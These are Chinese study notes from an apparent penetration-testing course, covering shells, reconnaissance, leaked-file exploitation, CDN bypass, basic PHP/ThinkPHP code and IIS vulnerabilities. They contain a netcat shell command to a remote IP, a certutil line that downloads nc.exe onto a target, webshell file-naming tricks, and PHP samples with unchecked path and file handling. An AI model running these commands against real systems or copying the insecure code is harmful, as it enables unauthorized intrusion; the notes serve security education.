小迪安全v2023筆記 1-18
棱角社區
文章目錄
- 1. 基礎入門
- 1. 正向shell與反向shell
- 2. web應用
- 3. 抓包,封包,協議,app,小程序,pc應用,web應用
- 2. 信息打點
- 1. 常見信息獲取
- 2. 文件泄露
- 3. 常見阻礙
- 4. CDN繞過,漏洞回鏈
- 5. app抓包,封包,xp框架,反編譯
- 6. 紅隊工具篇
- 3. php應用
- 1. 文件操作
- 2. js中的ajax請求
- 3. thinkphp框架
- 1. 下載安裝與基本使用
- 2. 新建控制器
- 3. 新建模塊
- 4. 數據庫操作
- 5. thinkphp查看漏洞
- 4.asp,IIS(過時)
1. 基礎入門
POC:proof of concept,概念驗證代碼,用來證明漏洞存在。
EXP:exploit,利用漏洞進行攻擊的動作。
Payload:有效載荷,指的是成功執行payload后,真正在目標系統執行的代碼或指令。
Shellcode:shell代碼,是payload的一種,由于其建立正向shell/反向shell而得名。
1. 正向shell與反向shell
防火墻出站寬松,入站嚴,入站一般要關防火墻。
b去連接a,對于a來說是入站,為反向shell。
a去連接b,對于a來說是出站,為正向shell。
a去連接b
b作為服務器監聽
nc -lvvp 5566
a連接到服務器并完成正向shell
nc -e cmd 192.168.10.8 5566
有時候要讓靶機執行命令,下載一個nc.exe。(目的文件名n.exe)
certutil.exe -urlcache -split -f http://www.xiaodi8.com:80/nc.exe n.exe
虛擬機連接主機,主機可以執行dir查看虛擬機目錄。
2. web應用
開發語言
程序源碼:應用類型分類,開源cms分類(比如wordpress),開發框架分類等。
中間件:iis,apache,nginx,tomcat,weblogic,jboos,glasshfish。
數據庫:access,mysql,mssql,oracle,db2,sybase,redis,mongodb。
第三方軟件:phpmyadmin,vs-ftpd,vnc,elk,openssh
常見漏洞:rce遠程命令執行,xss跨站,csrf/ssrf/crlf,反序列化,越權,未授權訪問,xxe/xml,sql。
3. 抓包,封包,協議,app,小程序,pc應用,web應用
安裝雷電模擬器
app有web協議&小程序&pc抓包http/s數據-charles,fidder,burpsuite
程序進程&網絡接口&其他協議-wireshark,科來網絡分析系統、TCPDump(linux)。
通訊類應用封包分析發送接收-wpe四件套封包(apk->ccproxy->wpe監控cc進程)
需要給瀏覽器安裝工具證書
封包能精確到每個操作的數據包。
2. 信息打點
www.baidu.com
頂級域名(一級域名):com
二級域名:baidu
三級域名:www
1. 常見信息獲取
icp備案查詢
查網站搭建(cms識別):云悉指紋
數據庫常見端口
mysql 3306
mssql 1433
oracle 1521
redis 6379
sql server 1433
mongoDB 27017
操作系統
大小寫:linux對大小寫敏感
TTL值:ping 127.0.0.1
- Windows NT/2000:TTL值為128。
- Windows 95/98:TTL值為32。
- UNIX:TTL值為255。
- Linux:TTL值為64。
- Windows 7:TTL值也為64。
2. 文件泄露
git泄露:githack
python githack.py http://127.0.0.1:80/.git/
svn泄露:svnhack
git clone https://github.com/callmefeifei/SvnHack.git 克隆到當前目錄
python svnhack.py -u http://127.0.0.1:80/.svn/entries --download
ds_store 文件泄露
漏洞利用工具:ds_store_exp
python ds_store_exp.py http://127.0.0.1:80/.DS_Store
php的composer.json泄露
/composer.json
3. 常見阻礙
站庫分離:網站與數據庫分離,數據庫為遠程數據庫
CDN加速:CDN加速通過在全球各地分布的服務器網絡上存儲網站、應用程序和媒體文件的副本來實現加速效果。當用戶請求訪問某個網站或應用程序時,CDN會根據用戶的地理位置和網絡條件,將內容從離用戶最近的服務器上提供,從而減少了延遲和加載時間。
負載均衡:分攤到多個操作單元上進行執行,可能拿到備用機的權限。
WAF應用防火墻:WAF檢查每一個傳入的數據包的內容來檢測SQL注入、跨站點腳本、會話劫持、篡改參數或URL等類型的攻擊。
主機防護防火墻:比如服務器安全狗。
CDN:內容分發網絡。其基本思路是盡可能避開互聯網上有可能影響數據傳輸速度和穩定性的瓶頸和環節,使內容傳輸得更快、更穩定。
4. CDN繞過,漏洞回鏈
傳統訪問:用戶訪問域名->解析服務器IP->訪問目標主機
普通CDN:用戶訪問域名->CDN節點->真實服務器I->訪問目標主機
帶WAF的CDN:用戶訪問域名->CDN節點(WAF)->真實服務器IP->訪問目標主機
CDN配置:
加速域名:需要啟動加速的域名
加速區域:需要啟動加速的地區
加速類型:需要啟動加速的資源
nslookup baidu.com 多個ip
不同地方ping的ip不同
CDN繞過
服務器存在ssrf漏洞,會向你的網站發起請求,你的網站會記錄訪問的真實ip。
子域名沒有cdn加速:比如只加速了www.xxx.com,test.xxx.com沒加速。使用超級ping會發現子域名指向同一個ip。查sp910.com發現IP同一個。
接口查詢國外訪問:國外沒cdn加速。
mx記錄(郵件交換記錄)或郵件沒有cdn加速
主動郵件配合備案
常用網站
get-site-ip.com 不準確
備案查詢
https://ping.chinaz.com/
常用工具
fuckcdn
通過本機的cmd獲取本地訪問該域名的ip地址并寫入工具中,端口為80
CDN綁定
windows\system32\drivers\etc\hosts 域名指向修改文件
5. app抓包,封包,xp框架,反編譯
外在抓包:比如burpsuite,fiddler等。
內在提取:源代碼中提取。
appinfoscanner:對app里的url,ip地址,關鍵字進行采集
python3 app.py andriod -i ./test.apk
查殼工具:pkid
脫殼工具
andriod:xposed模塊:dexdump,frida模塊:frida-dexdump
ios:
? frida模塊:
? windows使用:frida-ipa-dump
? macOS使用:frida-ios-dump
6. 紅隊工具篇
fofa .so
shodan search engine
zoomeye.org 知道創宇
https://quake.360.net/quake/#/index
自動化項目
http://github.com/knownsec/Kunyu
https://github.com/0x727/ShuiZe_0x727
https://github.com/Aabyss-Team/ARL?tab=readme-ov-file 燈塔arl
單點項目
子域名 oneforall
企查查 enscan
指紋識別 finger
3. php應用
默認之前使用過phpstudy編寫搭建網站。
1. 文件操作
php超級全局變量$_FILES
$_FILES["表單值"]["name"] 獲取上傳文件原始名稱
$_FILES["表單值"]["type"] 獲取上傳文件MIME類型
$_FILES["表單值"]["size"] 獲取上傳文件字節單位大小
$_FILES["表單值"]["tmp_name"] 獲取上傳的臨時副本文件名
$_FILES["表單值"]["error"] 獲取上傳時發生的錯誤代碼
php目錄訪問
is_dir() 函數用于檢查指定的路徑是否是一個目錄
opendir() 函數用于打開指定的目錄,返回句柄,用來讀取目錄中的文件和子目錄
readdir() 函數用于從打開的目錄句柄中讀取目錄中的文件和子目錄
open_basedir:PHP.INI中的設置用來控制腳本程序訪問目錄
ini_set('open_basedir',__DIR__); 設置配置文件中,只能訪問本目錄
文件顯示
<?php
// 獲取路徑參數,如果未提供則默認為當前目錄
$path = $_GET['path'] ? $_GET['path']: './';// 定義獲取文件列表的函數
function getlist($path){$hd=opendir($path);$list=array();while(($file_name=readdir($hd))!==False){// 排除當前目錄和父目錄if ($file_name != '.' && $file_name != '..') {$file_path="$path/$file_name";// 構建文件完整路徑$file_type=filetype($file_path);//$file_type為file或dir$list[$file_type][]=array('file_name' =>$file_name, // 文件名存儲鍵值'file_path' => $file_path, // 文件路徑存儲鍵值'file_size' => round(filesize($file_path) / 1024), // 通過換算文件大小存儲鍵值'file_time' => date('Y/m/d H:i:s',filemtime($file_path))// 獲取文件時間并存儲鍵值);}}// 關閉目錄句柄closedir($hd);// 返回文件列表數組return $list;
}// 調用函數獲取文件列表
$list = getlist($path);
print_r($list) ;
?>
文件上傳+保存
jkloli目錄
? index.html
? index.php
? test.php
index.html
<!DOCTYPE html>
<head><meta charset="utf-8"><title>文件上傳</title>
</head>
<body><form method="POST" action="test.php" enctype="multipart/form-data"><label for="file"><input type="file" name='file' id='file' accept=".txt"><br><input type="submit" value="上傳文件"></form>
</body>
index.php
<?php
include_once('index.html');
test.php
php pathinfo函數
-
PATHINFO_DIRNAME: 目錄路徑
-
PATHINFO_BASENAME: 文件名,包含擴展名
-
PATHINFO_EXTENSION: 文件后綴名
-
PATHINFO_FILENAME: 不包含后綴的文件名
<?php
$uploadDir='./uploads';
if(!file_exists($uploadDir)){mkdir($uploadDir);//創建目錄
}
if($_SERVER['REQUEST_METHOD']=='POST'&&isset($_FILES['file'])){$name=basename($_FILES['file']['name']);//basename去掉文件名前的路徑$tmpname=$_FILES['file']['tmp_name'];$ext=pathinfo($name,PATHINFO_EXTENSION);//獲取擴展名if(in_array($ext,['txt','md'])){if(move_uploaded_file($tmpname,$uploadDir."/$name")){echo"<script>alert('上傳成功')</script>" ;}else{echo "上傳失敗";}}else{echo '文件類型不符合';}
}else{echo"沒有上傳";
}
文件下載與刪除
通過修改http頭實現
<?php
// 接受方法 判斷是怎么操作
switch ($action){case 'del':unlink($file);// 如果操作為刪除,則調用unlink函數刪除指定文件break;case 'down':header("Content-Type: application/octet-stream");// 設置響應內容的類型為二進制流,告知瀏覽器這是一個文件下載header("Content-Disposition: attachment; filename=\"" .$file."\"");// 設置瀏覽器提示下載,并指定下載文件的名稱(使用 $file 變量)header("Content-Length: " . filesize($file));// 設置響應內容的長度為文件大小,告知瀏覽器文件的實際大小readfile($file);// 讀取并輸出文件內容,將文件內容發送給瀏覽器break;
}
?>
2. js中的ajax請求
? AJAX 技術通過在后臺發送異步 HTTP 請求并接收響應,使得用戶能夠在不刷新整個頁面的情況下獲取更新后的數據。
js jquery庫的ajax請求
請求->返回->讀取返回的數據->js ajax代碼進行解析->結果
php
請求->返回->返回結果
使用phpstudy搭建網站
test.php作為后端
<?php
if ($_SERVER['REQUEST_METHOD']=="POST") {if($_POST['name']=="張三"&&$_POST['age']=9000){echo json_encode(array("code"=>200,"infocode"=>1));}else{echo json_encode(array("code"=>200,"infocode"=>0));}}
index.html作為前端
<!DOCTYPE html>
<head><meta charset="utf-8"><title>jquery test</title><script src="./jquery-3.7.1.js">//引入jquery</script>
</head>
<body><script>$(document).ready(function() { // 確保DOM加載完成后再綁定事件$("button").on("click",function(){// 綁定button的點擊事件$.ajax({type:"POST",url:"test.php",//localhost:80/jkloli/test.phpdataType:"json",data:{name:$('.name').val(),//使用類選擇器獲取輸入框的值age:$('.age').val()},success:function(res){if(res.infocode==1){alert("驗證成功");}else{alert("驗證失敗");}},error:function(jqXHR, textStatus, errorThrown){// 構建錯誤信息字符串 alert("失敗: " + textStatus + ", " + errorThrown);}})});});</script><label for="name">name:</label><input type="text" id="name" class="name"><label for="age">age:</label><input type="text" id="age" class="age"><button>提交</button>
</body>
失敗彈窗
失敗: parsererror, SyntaxError: Unexpected end of JSON input
3. thinkphp框架
1. 下載安裝與基本使用
在WWW目錄下下載thinkphp框架
git clone -b 5.1 https://gitee.com/liu21st/thinkphp.git thinkphp5.1
cd thinkphp5.1
git clone -b 5.1 https://gitee.com/liu21st/framework.git thinkphp
thinkphp5.1對應php5.6
下面我們來看看它的結構
下面來訪問一下sorry函數
它的url結構:http://serverName/index.php/模塊/控制器/操作/[參數名/參數值...]
2. 新建控制器
在application/index/controller下新建cc.php
訪問url:localhost/thinkphp5.1/public/index.php/index/cc/sayhi
<?php
namespace app\index\controller;
use think\Controller;
use think\Db;
class cc extends Controller
{public function sayhi(){return 'hi';}
}
3. 新建模塊
將index/controller下的index.php復制到jkloli/controller目錄里
修改命名空間為namespace app\jkloli\controller;
jkloli/controller目錄下新建Jk.php
<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;class Jk extends Controller
{public function cllsse(){echo 'cllsse';}
}
thinkphp很不穩定,路徑有時候可以訪問有時候不能訪問。不能訪問時,把phpstudy關了,過一會再開試試。
4. 數據庫操作
我用的是mysql8.0
首先在navicat中修改root用戶的插件為mysql_native_password,然后重新輸入密碼。
然后設置mysql的默認字符集為老版本的utf8,具體操作如下:
- 打開C:\Program Files\MySQL\MySQL Server 8.0\my.ini
- [mysqld]
character-set-server = utf8
default_authentication_plugin= mysql_native_password - 打開計算機管理,找到mysql80,關閉重啟。若重啟失敗,嘗試
netstat -ano |findstr :3306
查看端口占用,taskkill /pid xxx -f
。若端口沒被占用則是my.ini的問題。
thinkphp開調試模式:/config/app.php里app_debug改為true。
找到/config/database.php,修改數據庫配置信息。
修改Jk.php
<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;class Jk extends Controller
{public function cllsse(){echo 'cllsse';}public function ss(){if(input('?get.id')&&input('?get.username')){//檢查參數是否存在$id=input('get.id');$username=input('get.username');$data = db('t_user')->where("id",'=',$id)->where("username",'=',$username)<>不等于,exp表達式->select();print_r($data);}else{echo "請使用get請求:?id=xx&username=xx";}}
}
5. thinkphp查看漏洞
thinkphp看版本->看報錯頁面,看THINK_VERSION全局變量,看url地址構造
?m=Home&c=Index&a=func1
m模塊,c控制器,a方法
然后通過版本找歷史漏洞
https://github.com/mochazz/thinkphp-vuln?tab=readme-ov-file
4.asp,IIS(過時)
ACCESS數據庫無管理帳號密碼,頂級架構為表名,列名(字段),數據,所以在注入猜解中一般采用字典猜解表和列再獲取數據,猜解簡單但又可能出現猜解不到的情況,由于Access數據庫在當前安全發展中已很少存在,故直接使用SQLMAP注入。
IIS短文件名漏洞
此漏洞實際是由HTTP請求中舊DOS 8.3名稱約定(SFN)的代字符(~)波浪號引起的。它允許遠程攻擊者在Web根目錄下公開文件和文件夾名稱(不應該可被訪問)。攻擊者可以找到通常無法從外部直接訪問的重要文件,并獲取有關應用程序基礎結構的信息。
利用工具:
https://github.com/irsdl/IIS-ShortName-Scanner
https://github.com/lijiejie/IIS_shortname_Scanner
IIS文件解析
IIS 6 解析漏洞
- 該版本默認會將*.asp;.jpg 此種格式的文件名,當成Asp解析
- 該版本默認會將*.asp/目錄下的所有文件當成Asp解析。
- 如:logo.asp;.jpg xx.asp/logo.jpg
IIS 7.x 解析漏洞
- 在一個文件路徑(/xx.jpg)后面加上/xx.php會將/xx.jpg/xx.php 解析為php文件
- 應用場景:配合文件上傳獲取Webshell
IIS寫權限漏洞
IIS<=6.0 目錄權限開啟寫入,開啟WebDAV,設置為允許
參考利用:https://cloud.tencent.com/developer/article/2050105
http options請求獲取服務器允許的 http 方法
put請求向服務器添加文件
move請求將文件改名